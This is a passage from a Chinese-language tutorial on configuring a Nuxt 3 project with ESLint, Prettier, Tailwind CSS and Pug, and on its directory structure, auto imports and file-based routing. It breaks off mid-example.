\u0026quot;lint\u0026quot;: \u0026quot;eslint --ext .ts,.js,.vue .\u0026quot;，這樣一來我們就可以使用如下指令來檢查專案目錄下的所有包含 .ts、.js、.vue 副檔名的檔案。\n1 2 3 npm run lint # or # yarn run lint 在 VS Code 中顯示 ESLint 錯誤或警告 推薦大家安裝 VS Code 的 ESLint 插件：\nESLint：讓你在編輯器開發時就能有指令檢查，更可以做到全域或特定工作區開啟儲存或快捷鍵自動修正程式碼等設置。 安裝完畢後，建議重啟 VS Code 來重新載入相關設定。\n現在，你會發現在 VS Code 中編輯程式的過程中，如果有 ESLint 檢查到的錯誤或建議，就會出現紅色或黃色的波浪底線，當滑鼠指標移動至波浪底線處，就會發現有個小視窗提示你錯誤或警告的原因是什麼。\n在 VS Code 中自動修正 ESLint 錯誤或警告 在某些情況，ESLint 可以幫助你做自動修正程式碼，甚至在存擋時將錯誤部分直接進行修正。\n手動快速修正 我們可以在編輯器將滑鼠指標移動至波浪底線點擊「快速修正 (Quick Fix)\u0026hellip;」，你也可以使用編輯器建議的快捷鍵 Command + . (macOS)，此時就能選擇要修復或關閉略過錯誤原因；這裡我們選擇「Fix all auto-fixable problems」，來修復所有可能可以被自動修復的問題。\n存擋自動修正 除了手動快速修正外，你也可以透過添加 VS Code 的設定檔，如專案目錄下新增 .vscode/settings.json：\n1 2 3 4 5 6 7 8 9 10 11 12 { \u0026#34;editor.formatOnSave\u0026#34;: true, \u0026#34;prettier.semi\u0026#34;: false, \u0026#34;files.trimTrailingWhitespace\u0026#34;: true, \u0026#34;editor.defaultFormatter\u0026#34;: \u0026#34;esbenp.prettier-vscode\u0026#34;, \u0026#34;editor.codeActionsOnSave\u0026#34;: { \u0026#34;source.fixAll.eslint\u0026#34;: true }, \u0026#34;eslint.format.enable\u0026#34;: true, \u0026#34;eslint.validate\u0026#34;: [\u0026#34;javascript\u0026#34;, \u0026#34;javascriptreact\u0026#34;, \u0026#34;html\u0026#34;, \u0026#34;vue\u0026#34;, \u0026#34;typescript\u0026#34;, \u0026#34;typescriptreact\u0026#34;], \u0026#34;eslint.enable\u0026#34;: false } 當我們編輯完程式碼，並保存檔案或快捷鍵存擋 Command + S (macOS)，就會觸發 ESLint 自動修復囉。\nPrettier 設置 Prettier 是程式碼格式化的工具，也可以與 ESLint 進行搭配，ESLint 與 Prettier 就能各司其職將 JaveScript 與 Vue 等檔案依照配置進行檢查與排版。\nStep 1. 安裝 Prettier 套件 我們直接安裝 prettier、eslint-config-prettier 與 eslint-plugin-prettier 三個套件。\n1 2 3 npm install -D prettier eslint-config-prettier eslint-plugin-prettier # or # yarn add -D prettier eslint-config-prettier eslint-plugin-prettier Step 2. 配置 Prettier 設定檔案 我們在專案根目錄下建立 .prettierrc.js 檔案，內容如下，這些配置都可以自己設定來配合 ESLint，更多選項或說明可以參考 Prettier 官方說明文件。\n1 2 3 4 5 6 7 8 module.exports = { printWidth: 120, // 每行文字數量達 100 字元就換到新的一行 semi: false, // 每個語句的結尾不需要分號 singleQuote: false, // 字串使用單引號，而不是雙引號 trailingComma: \u0026#34;none\u0026#34;, // 如 Object、Array 內的元素不需要尾隨逗號 endOfLine: \u0026#34;auto\u0026#34;, vueIndentScriptAndStyle: true } Step 3. 配置 ESLint 設定檔案 我們在安裝時多裝了兩個 ESLint 相關套件，分別為 eslint-config-prettier 及 eslint-plugin-prettier。\n對此我們需要將其添加至 ESLint 的 .eslintrc.js 設定檔內，在 extends 添加字串 prettier 表示使用 eslint-config-prettier 擴充配置，主要用來防止 Prettier 排版與 ESLint 發生衝突，讓其可以用來禁用 ESLint 的格式化；接著在 plugins 中添加 prettier 字串表示使用 eslint-plugin-prettier 套件擴充，讓 ESLint 可以提示我們格式有錯誤的地方。\n為了讓 Prettier 與 ESLint 有更好的搭配，在 rules 的參數中記得添加 'prettier/prettier': 'error' 讓 ESLint 可以提示 Prettier 的排版異常提示供我們做修正，至此 .eslintrc.js 設定檔應該會如下。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 module.exports = { env: { browser: true, es2021: true }, extends: [ \u0026#39;@nuxtjs/eslint-config-typescript\u0026#39;, \u0026#39;plugin:vue/vue3-recommended\u0026#39;, \u0026#39;prettier\u0026#39; ], parserOptions: { ecmaVersion: 13, sourceType: \u0026#39;module\u0026#39; }, plugins: [\u0026#39;prettier\u0026#39;], rules: { \u0026#39;prettier/prettier\u0026#39;: \u0026#39;error\u0026#39; }, overrides: [ { files: [ \u0026#39;**/pages/**/*.{js,ts,vue}\u0026#39;, \u0026#39;**/layouts/**/*.{js,ts,vue}\u0026#39;, \u0026#39;**/app.{js,ts,vue}\u0026#39;, \u0026#39;**/error.{js,ts,vue}\u0026#39; ], rules: { \u0026#39;vue/multi-word-component-names\u0026#39;: \u0026#39;off\u0026#39; } } ] } Step 4. 安裝 VS Code 的 Prettier 插件 Prettier - Code formatter：提供我們做程式碼的格式化，最重要的是來協助我們自動載入 .prettierrc.js 配置。 安裝完畢後，建議重啟 VS Code 來重新載入相關設定。\n我們完成了 TypeScript 與 Linter 的配置，雖然配置有些繁瑣，但寫程式的風格有個標準及規則依循，肯定能協助你寫出令人讚嘆的完美的程式碼。\n使用 Tailwind CSS 為了後續範例程式在頁面呈現上能有比較好看的樣式，原先有想過使用 UI 框架或純寫 CSS，但是總覺得好像不夠潮，所以呢，我決定帶入近年滿熱門的 CSS 框架 Tailwind CSS，在本篇文章我就不再多花篇幅介紹 Tailwind 的語法及指令等，主要針對 Nuxt 3 如何導入 Tailwind CSS 至專案內使用。\n其實有稍微糾結一下要不要使用 Master CSS，雖然最後決定先緩緩，但我認為它非常有淺力成為這類框架的霸主，大家有空也可以支持一下或玩玩這個由臺灣團隊開發的 CSS 框架哦！\nTailwind CSS 是近年滿熱門的 Utility-First CSS 框架，曾掀起一番論戰說 Class 不是讓你這樣用的之類的批評及缺點，但如果你深入暸解它後，確實不可否認它能為你帶來更好的生產效率等諸多優點。\n接下來，我會分別介紹兩種導入 Tailwind CSS 方式，分別為 Nuxt Community 釋出的 Tailwind CSS 整合模組 及 Tailwind CSS 官方指引步驟，以下的 A 或 B 兩種導入方式，大家只要擇一就可以了。\n使用 Nuxt Tailwind 模組 Step 1. 安裝相關套件 首先安裝 @nuxtjs/tailwindcss。\n1 2 3 npm install -D @nuxtjs/tailwindcss # or # yarn add -D @nuxtjs/tailwindcss Step 2. 添加模組至 nuxt.config.ts 打開 ./nuxt.config.ts 將 @nuxtjs/tailwindcss 模組添加至 modules 設定參數中，完成後看起來會像下面這樣。\n1 2 3 4 5 6 7 // https://v3.nuxtjs.org/api/configuration/nuxt.config export default defineNuxtConfig({ modules: [\u0026#39;@nuxtjs/tailwindcss\u0026#39;], typescript: { typeCheck: true } }) Step 3. 重啟 Nuxt 服務 重新啟動我們的 Nuxt 服務。\n1 2 3 npm run dev -- -o # or # yarn run dev -- -o 使用 @nuxtjs/tailwindcss 只需要兩個步驟就完成了 Tailwind CSS 的配置，這個模組已經包含手動安裝時需要建立的 Tailwind CSS 指令 tailwindcss.css 需要的全域設定與 PostCSS 參數選項，同時也預設了 tailwind.config.js 的相關 content 目錄路徑，詳細可以參考 Nuxt Tailwind。\n擴充或覆寫 @nuxtjs/tailwindcss 配置 如果你沒有特別需要擴充或覆寫設定可以跳過這一段。\n專案內若使用 @nuxtjs/tailwindcss 模組，這兩個 tailwind.css 與 tailwind.config.js 檔案其實模組已經有預設，不需要手動建立，tailwind.css 對應模組內的 tailwind.css 可以參考專案檔案內容 tailwind.css，tailwind.config.js 則是透過模組動態新增配置。\n倘若想要修改也可以透過建立設定檔案來新增或覆寫預設定，例如在專案下分別建立 tailwind.css 與 tailwind.config.js 兩個檔案：\ntailwind.css 專案目錄下若存在路徑檔名一致的 ./assets/css/tailwind.css 檔案，@nuxtjs/tailwindcss 就會以這個檔案取代模組內預設的 tailwind.css 檔案。\ntailwind.css 預設內容如下：\n1 2 3 @tailwind base; @tailwind components; @tailwind utilities; 如果有成功覆蓋配置，在重啟 Nuxt 3 服務時，Terminal 會提示下列字串，表示使用了自訂的 tailwind.css。\n1 Using Tailwind CSS from ~/assets/css/tailwind.css tailwind.config.js 專案目錄下若存在 tailwind.config.js 檔案就會以新的配置拓展或覆寫 @nuxtjs/tailwindcss 預設的 tailwind.config。\n例如，我們想拓展或覆寫 content 的配置：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /** @type {import(\u0026#39;tailwindcss\u0026#39;).Config} */ module.exports = { content: [ \u0026#39;./components/**/*.{vue,js,ts}\u0026#39;, \u0026#39;./layouts/**/*.vue\u0026#39;, \u0026#39;./pages/**/*.vue\u0026#39;, \u0026#39;./composables/**/*.{js,ts}\u0026#39;, \u0026#39;./plugins/**/*.{js,ts}\u0026#39;, \u0026#39;./app.{js,ts,vue}\u0026#39; ], theme: { extend: {} }, plugins: [] } Tailwind CSS 官方指引步驟 如果你已經使用了 @nuxtjs/tailwindcss 進行配置，則可以跳過這一段。\nStep 1. 安裝相關套件 首先進入我們的 Nuxt 專案目錄，並安裝 Tailwind CSS 會使用到的一些相關套件。\n1 2 3 npm install -D tailwindcss postcss@latest postcss-custom-properties@latest autoprefixer@latest # or # yarn add -D tailwindcss postcss@latest postcss-custom-properties@latest autoprefixer@latest Step 2. 建立 tailwind.config.js 安裝完套件後，可以執行下列指令進行初始化，完成後會在專案根目錄下產生一個名為 tailwind.config.js 的 Tailwind CSS 設定檔。\n1 npx tailwindcss init Step 3. 調整 tailwind.config.js 打開剛剛產生的設定檔 tailwind.config.js，在配置中的 content 陣列添加一些路徑，這些路徑皆是跟 Nuxt 有關的資料夾目錄與檔案，完成後檔案內容如下。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /** @type {import(\u0026#39;tailwindcss\u0026#39;).Config} */ module.exports = { content: [ \u0026#39;./components/**/*.{vue,js,ts}\u0026#39;, \u0026#39;./layouts/**/*.vue\u0026#39;, \u0026#39;./pages/**/*.vue\u0026#39;, \u0026#39;./composables/**/*.{js,ts}\u0026#39;, \u0026#39;./plugins/**/*.{js,ts}\u0026#39;, \u0026#39;./app.{js,ts,vue}\u0026#39; ], theme: { extend: {} }, plugins: [] } Step 4. 建立 tailwind.css 接著我們在專案建立目錄 assets 與子目錄 css 用來放置 Tailwind CSS 的自定義指令，我們將其放置在 tailwind.css 供後續做使用，tailwind.css 的路徑應會是 ./assets/css/tailwind.css 檔案內容如下。\n1 2 3 @tailwind base; @tailwind components; @tailwind utilities; Step 5. 配置全域共用 CSS 上面我們建立好 tailwind.css 後，為了讓每個頁面都可以吃得到 Tailwind CSS，我們修改專案根目錄的 nuxt.config.ts 檔案，在 css 參數陣列內新增 tailwind.css 路徑，讓 Nuxt 可以配置全域共用的 CSS，並添加 postcss 選項及我們剛才安裝的套件作為插件，最後 nuxt.config.ts 檔案看起來如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // https://v3.nuxtjs.org/api/configuration/nuxt.config export default defineNuxtConfig({ postcss: { plugins: { \u0026#39;postcss-import\u0026#39;: {}, \u0026#39;tailwindcss/nesting\u0026#39;: {}, tailwindcss: {}, autoprefixer: {} } }, css: [\u0026#39;@/assets/css/tailwind.css\u0026#39;], typescript: { typeCheck: true } }) 至此，我們專案目錄檔案如下結構。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 nuxt-app ├── .nuxt/ ├── assets/ │ └── css/ │ └── tailwind.css // 手動新增的檔案，用於設置 Tailwind CSS 指令並讓全部頁面引用 ├── node_modules/ ├── .eslintrc.js ├── .gitignore ├── .prettierrc.js ├── app.vue ├── nuxt.config.ts ├── package-lock.json ├── package.json ├── README.md ├── tailwind.config.js // Tailwind 初始化指令產生的設定檔 └── tsconfig.json Step 6. 重啟 Nuxt 服務 重新啟動我們的 Nuxt 服務。\n1 npm run dev -- -o 開始感受 Tailwind CSS 的魅力 當我們配置完 Tailwind CSS 並重啟 Nuxt 服務後，我們編輯 app.vue 檔案內容，撰寫以下程式碼：\n1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-blue-600\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-900\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 重新瀏覽一次網頁，可以發現排版、顏色、字型都有出現我們設定的效果了。\n自動排序 Tailwind CSS 的 Class 當我們在寫 Tailwind CSS 時終究會碰到類型過多，第一眼不確定是否包含某個 class，或者對於順序上有強烈統一的要求，那麼這個 Prettier 的插件，prettier-plugin-tailwindcss 插件是 Tailwind 推出的，目的在於可以使用官方推薦的 class 順序，來實現自動排序 class 來做到統一程式碼風格。\nTailwind x Prettier Step 1. 安裝插件 1 2 3 npm install -D prettier-plugin-tailwindcss # or # yarn add -D prettier-plugin-tailwindcss 如果你不是照著前面的步驟建置專案，請記得確認已經有安裝 prettier 套件。\nStep 2. 配置設定檔 開啟 .prettierrc.js 檔案，添加 'prettier-plugin-tailwindcss' 至 plugins 陣列中：\n1 2 3 4 5 6 7 8 9 module.exports = { plugins: [ \u0026#39;prettier-plugin-tailwindcss\u0026#39; ], printWidth: 100, // 每行文字數量達 100 字元就換到新的一行 semi: false, // 每個語句的結尾不需要分號 singleQuote: false, // 字串使用單引號，而不是雙引號 trailingComma: \u0026#39;none\u0026#39; // 如 Object、Array 內的元素不需要尾隨逗號 } Step 3. 自動修正效果 你可以在編輯器內移至錯誤波浪底線使用「快速修復 (Quick Fix)\u0026hellip;」功能，或設置 \u0026quot;editor.codeActionsOnSave\u0026quot; 中 \u0026quot;source.fixAll.eslint\u0026quot;: true 來達到保存後自動修正 prettier 引發的 ESLint 錯誤。\n小結 相較於 Tailwind CSS 官方指引的安裝方式，使用 Nuxt Community 幫我們整理好的 @nuxtjs/tailwindcss 模組，可以省去繁瑣的設定步驟，也解決了一些目前 Nuxt 3 專案中，導入 Tailwind CSS 使用 HMR 可能無法自動編譯並重新套用等問題。\n使用 Pug pug 為 html 模板語言，可支援撰寫 JS 邏輯。寫法上，省略了 HTML 的開、閉合標籤，能夠大大的提升工程師開發速度，看上去也更為簡潔。\n在本篇文章我依舊不再多花篇幅介紹 pug 的語法，主要針對 Nuxt 3 如何導入 pug 至專案內使用。\n為了之後開發能少打一點 Code，這邊加入 pug 到專案。\n安裝 @vite-plugin-pug 1 2 3 npm install -D vite-plugin-pug # or # yarn add -D vite-plugin-pug 直接開始體驗 Pug 直接將原先的 app.vue 改用 pug 語法來撰寫：\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template lang=\u0026#34;pug\u0026#34;\u0026gt; div .bg-white.py-24 .flex-col.items-center.flex h1.text-6xl.font-semibold.text-blue-600 2022 iThome p.mt-4.text-9xl.font-bold.text-gray-900 鐵人賽 \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34; setup\u0026gt; const year: string = \u0026#34;2022\u0026#34; \u0026lt;/script\u0026gt; 這邊推薦一款 VS Code 的套件 - html2pug，將 HTML 反白後點選 VS Code 上方的 View \u0026gt; Command Palette\u0026hellip;，尋找並執行 \u0026quot;\u0026gt; html2pug: Transform\u0026quot;，即可將反白的 HTML 自動轉換成 pug 語法。\n不用管 HTML 的結尾符號，寫起來整個就是舒服阿~~~\n目錄結構與自動載入 (Auto Imports) 隨著整個專案的開發，目錄與元件勢必也會越來越多，如同 Vue 3 的專案可能會有專門放置元件目錄 components 等，在 Vue 3 我們可能不太需要去在意目錄的名稱，但在 Nuxt 3 的專案下，有一些目錄與名稱其實有一些基本的規定與名稱，只要照著 Nuxt 3 約定好的方式進行開發，就能更好利用 Nuxt 3 幫你完成許多貼心的功能。\nNuxt 3 的目錄結構 當我們 Nuxt CLI 建立第一個 Nuxt 3 專案並第一次啟動開發伺服器後，專案目錄結構會長得像這樣：\n如果你是跟著這個系列安裝了 TypeScript、Linter、Tailwind CSS 及 Pug 等套件，那麼專案目錄結構會長得像這樣：\n雖然我們能依照需求建立檔案及目錄，但 Nuxt 3 在目錄的結構與命名其實有一定的規則與模式，以下針對 Nuxt 3 來講述一下目錄的結構與遵循的方式。\nNuxt 3 預設的目錄結構 Nuxt 3 框架希望我們可以專注在開發而不是在配置，所以在預設的情況專案的目錄架構已經有一個不錯的結構可以遵循。\n依據官方文件，一個完整的 Nuxt 3 專案，它的目錄結構如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 nuxt-app/ ├── .nuxt/ ├── .output/ ├── assets/ ├── components/ ├── composables/ ├── content/ ├── layouts/ ├── middleware/ ├── node_modules/ ├── pages/ ├── plugins/ ├── public/ └── server/ ├── api/ ├── routes/ └── middleware/ ├── .gitignore ├── .nuxtignore ├── app.config.ts ├── app.vue ├── nuxt.config.ts ├── package.json └── tsconfig.json .nuxt 目錄 開發環境下由 Nuxt 產生出 Vue 的網站，.nuxt 目錄是自動產生的，你不應該任意的調整裡面檔案。\n.output 目錄 當你的網站準備部署至正式環境時，每次編譯建構專案時，皆會自動重新產生這個目錄，你不應該任意的調整裡面檔案。\nassets 目錄 顧名思義，這是靜態資源檔案所放置的位置，目錄內通常包含以下類型的檔案：\nCSS 樣式檔案 (CSS、SASS 等\u0026hellip;) 字型 圖片 這些靜態資源，最終在專案編譯建構時，由 Vite 或 webpack 進行編譯打包。\ncomponents 目錄 放置 Vue 元件的地方，Nuxt 會自動載入這個目錄中的任何元件。\ncomposables 目錄 組合式函數放置的目錄，簡單來說可以把常用或通用的功能寫成一個共用的函數或 JS 檔案，放置在這個目錄視為組合式函數，Nuxt 也會自動載入這些組合式函數，讓需要使用的頁面或元件可以直接做使用。\ncontent 目錄 透過使用 Nuxt Content，我們可以在這個目錄下建立 .md、.yml、.csv 和 .json 檔案，Nuxt Content 會讀取並解析這些文件並進行渲染，用來建立基於文件的內容管理系統(Content Management System，簡稱：CMS)。\nlayouts 目錄 用於放置通用或可能重複使用到的佈局模板，提供程式碼的可重複使用性。\nmiddleware 目錄 Nuxt 3 提供了路由中間件的概念，用於導航到下一個頁面之前執行一些程式碼如權限驗證\u0026hellip;等。\nnode_modules 目錄 通常有使用 Node.js 的套件管理，例如 NPM，對此目錄應該有一些印象，使用 Nuxt 3 及專案所需要的相依套件都會存放在這個目錄。\npages 目錄 這個目錄主要是用來配置我們的頁面，你也可以只使用 app.vue 來完成你的網站，但如果建立了 pages 這個目錄，Nuxt 3 會自動整合 vue-router，並會依據目錄及檔案結構規則來自動產生出對應路由，也是 Nuxt3 產生路由的方式。\nplugins 目錄 Nuxt 會自動載入這個目錄檔案，作為插件使用，在檔案名稱可以使用後綴 .server 或 .client，例如，plugin.server.ts 或 plugin.client.ts 來決定只讓伺服器端或客戶端載入這個插件。\nserver 目錄 用於建立任何後端的邏輯如後端 API，這個目錄下還包含了 api、server 和 middleware 來區分功能，不具有自動載入，但支援 HMR。\n.gitignore 檔案 在使用 Git 版本控制時，可以設置一些不需要或忽略關注變動的檔案及目錄。\n.nuxtignore 檔案 可以設置讓 Nuxt 編譯建構時，忽略一些不需要或欲忽略的檔案。\napp.config.ts 檔案 提供服務運行時暴露給客戶端使用的設定，因此，請不要在 app.config.ts 檔案中添加任何機密資訊。\napp.vue 檔案 Nuxt 3 網站的入口點元件。\nnuxt.config.ts 檔案 用於配置 Nuxt 專案的設定檔。\npackage.json 檔案 這個檔案裡面定義了專案資訊、腳本、相依套件及版本號，通常有使用 Node.js 套件管理工具建置的專案都會包含此檔案。\ntsconfig.json 檔案 Nuxt 3 會在 .nuxt 目錄下自動產生一個 tsconfig.json 檔案，其中已經包含了一些解析別名等預設配置；你可以透過專案目錄下的 tsconfig.json 來配置擴展或覆蓋 Nuxt 3 預設的 TypeScript 設定檔。\n自訂目錄名稱 前面簡介了 Nuxt 3 的預設目錄結構與用途，在目錄名稱上 Nuxt 3 也提供了可以調整目錄名稱的方式，只要在 nuxt.config.ts 修改對應的參數，就可以自訂目錄的名稱。不過呢，也並不是所有的目錄都能修改，目前官方提供的 dir 參數共有以下四個目錄參數選項供修改：\nlayouts middleware pages public 例如我想將 pages 目錄名稱調整為 views 就可以新增下列 dir 設定添加至 nuxt.config.ts，就可以將 pages 目錄功能及規則調整為 views 目錄來實現。\n1 2 3 4 5 export default defineNuxtConfig({ dir: { pages: \u0026#39;views\u0026#39;, } } 自動載入 (Auto Imports) 在介紹目錄結構時有提到，某些目錄下的檔案是具有自動載入 (Auto Imports)的功能，意思就是說，當我們在這些特定的目錄 components、composables、layouts、plugins 添加檔案時，Nuxt 3 會自動載入這些元件或函數。\nNuxt 3 的自動載入具體有以下三種：\nNuxt 常用元件與函數 Vue 3 的 API 基於目錄的自動載入 Nuxt 常用元件與函數的自動載入 Nuxt 會自動載入一些元件或組合式函數，用以讓開發時可以在全部頁面或定義組件和插件可以使用。\nNuxt 自動載入的元件就好比 app.vue 程式碼內，一開始在 template 就有的 \u0026lt;NuxtWelcome /\u0026gt; 歡迎頁面元件，其他還包含了 \u0026lt;NuxtPage\u0026gt;、\u0026lt;NuxtLayout\u0026gt; 和 \u0026lt;NuxtLink\u0026gt; 等，詳細可以參考官方文件。\n例如，下面程式碼中的 useAsyncData 與 $fetch 就是 Nuxt 自動載入的組合式函數，在各個頁面或元件都能做使用。\n1 2 3 \u0026lt;script setup\u0026gt; const { data, refresh, pending } = await useAsyncData(\u0026#39;/api/hello\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/hello\u0026#39;)) \u0026lt;/script\u0026gt; Vue 3 API 的自動載入 例如，Vue 3 中會使用到的 ref、computed 等這類的 helpers 或 lifecycle hooks，在 Nuxt 3 也都將會自動的載入，不需要在 import。\n1 2 3 4 5 \u0026lt;script setup\u0026gt; // 不需要在 import ref 或 computed const count = ref(1) const double = computed(() =\u0026gt; count.value * 2) \u0026lt;/script\u0026gt; 基於目錄的自動載入 如前面所提及的，Nuxt 會自動載入定義在特定目錄的檔案，例如：\ncomponents: 相對於 Vue 的組件。 composables: 相對於 Vue 的組合式函數。 建立一個自動導入的元件 我們建立一個 ./components/IronManWelcome.vue 檔案：\ncomponents/IronManWelcome.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在 app.vue 檔案中，新增 \u0026lt;IronManWelcome /\u0026gt; 元件。\napp.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;IronManWelcome /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 現在，瀏覽器可以看見我們添加的元件效果。\n可以發現，我們不需要添加 import IronManWelcome from './components/IronManWelcome' 就可以直接在 template 直接使用 \u0026lt;IronManWelcome /\u0026gt; 元件，這就是 Nuxt 3 基於目錄的自動載入功能。\n關閉自動載入 如果想關閉 Nuxt 的自動載入元件或函數的功能，可以修改專案目錄下的 nuxt.config.ts 檔案，將 imports.autoImport 設定為 false。\nnuxt.config.ts 1 2 3 4 5 export default defineNuxtConfig({ imports: { autoImport: false } }) 顯式載入 (Explicit Imports) Explicit (顯式、明確的)，當我們需要手動載入，就可以用 #import 這個 Nuxt 釋出的別名，來個別載入那些具有自動載入的元件或函數。\n1 2 3 4 5 6 \u0026lt;script setup\u0026gt; import { ref, computed } from \u0026#39;#imports\u0026#39; const count = ref(1) const double = computed(() =\u0026gt; count.value * 2) \u0026lt;/script\u0026gt; Nuxt 3 的專案目錄與結構已經有一個規定可以遵守，Nuxt 3 規劃的目錄及檔案架構，讓我們可以不用再煩惱該如何配置，只需要專注開發，當你熟悉這些目錄檔案規則與自動載入的特性，肯定能更快上手 Nuxt 3。\n頁面 (Pages) 與路由 (Routing) 在 Vue 中，我們會使用到 Vue Router 來實現切換頁面或路由的需求，而在 Nuxt 3 中，預設是沒有使用路由相關套件，直至建立了 pages 目錄，Nuxt 將會自動載入 Vue Router 來管理路由，並且具有一定的規則需要遵循，以下將介紹頁面目錄與路由之間的關係。\n基於檔案的路由 (File-based Routing) 在 Nuxt 3 專案的 pages 目錄下，當我們建立了一個頁面檔案，就會以該檔案建立出相對應的路由，Nuxt 3 基於檔案的路由，也使用了程式碼拆分將每個頁面需要的程式碼梳理出來，並以動態載入的方式載入最小所需要的程式碼。因為是以目錄結構與檔案命名方式來約定，也稱之為約定式路由。\n建立第一個頁面 Nuxt 3 的 pages 目錄，是用來建立頁面並放置的目錄，當專案下有存在 pages 目錄，Nuxt 將會自動載入 Vue Router 來實現路由效果，目錄下的檔案通常是 Vue 的元件，也允許具有 .vue、.js、.jsx、.ts 或 .tsx 副檔名的檔案。\n當我們建立 ./pages/index.vue，檔案內容如下，則表示路由 / 對應到這個頁面檔案，我們只需要建立檔案，路由的配置將會由 Nuxt 3 自動產生。\npages/index.vue 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-gray-800\u0026#34;\u0026gt;這裡是首頁\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 若你還記得 Vue Router 中的 \u0026lt;router-view /\u0026gt;，這是路由需要的進入點，同樣的在 Nuxt 3 我們需要使用 \u0026lt;NuxtPage /\u0026gt; 來顯示我們建立的路由頁面，這裡非常重要，否則路由及頁面將無法正確運作。\n修改 ./app.vue，檔案內容如下：\napp.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;NuxtPage /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 接著我們在瀏覽器瀏覽 / 路由，如 http://localhost:3000/，就可以看到我們在 ./pages/index.vue 頁面內寫的標題文字「這是首頁」囉！\n多個路由頁面 在實務上，通常一個網站會有多個頁面，並分別對應到不同的路由，接下來我們嘗試建立 About 與 Contact 兩個頁面。\n建立多個路由頁面 建立 ./pages/about.vue，內容如下：\npages/about.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-yellow-400\u0026#34;\u0026gt;大家好！我是 Ryan\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt;這裡是 /about\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 建立 ./pages/contact.vue，內容如下：\npages/contact.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-rose-400\u0026#34;\u0026gt;如果沒事不要找我 xDDD\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;my-8 text-3xl text-gray-600\u0026#34;\u0026gt;這裡是 /contact\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 接著我們在瀏覽器分別瀏覽 /about 或 /contact，就可以看到我們路由效果囉！\n可以發現所建立的檔案名稱，最終就會自動對應產生出 /about 及 /contact 路由。\n自動產生的路由 如果你有興趣想看看 Nuxt 自動產生出來的路由配置長什麼樣子，可以使用 npm run build 或 npx nuxt build 來建構出 .output 目錄，並打開 .output/server/chunks/app/server.mjs，搜尋 const _routes = 或剛剛建立的檔案名稱 about.vue，就可以找到下面這一段程式碼：\n這段程式碼與 Vue 中的路由配置非常相像，其實這就是 Nuxt 3 檢測到 pages 目錄，自動幫我們載入 Vue Router 與依據 pages 目錄下的檔案結構，自動產生出所需的路由配置。\n建立路由連結 在 Vue Router 我們可以使用 \u0026lt;router-link\u0026gt; 來建立路由連結，以此來導航至其他頁面，而在 Nuxt 3 的路由中，則是使用 \u0026lt;NuxtLink\u0026gt; 來建立路由連結來進行頁面的跳轉，我們嘗試在首頁新增幾個路由連結來進行頁面導航。\n調整 ./pages/index.vue，內容如下：\npages/index.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-gray-800\u0026#34;\u0026gt;這裡是首頁\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;my-4 flex space-x-4\u0026#34;\u0026gt; \u0026lt;NuxtLink 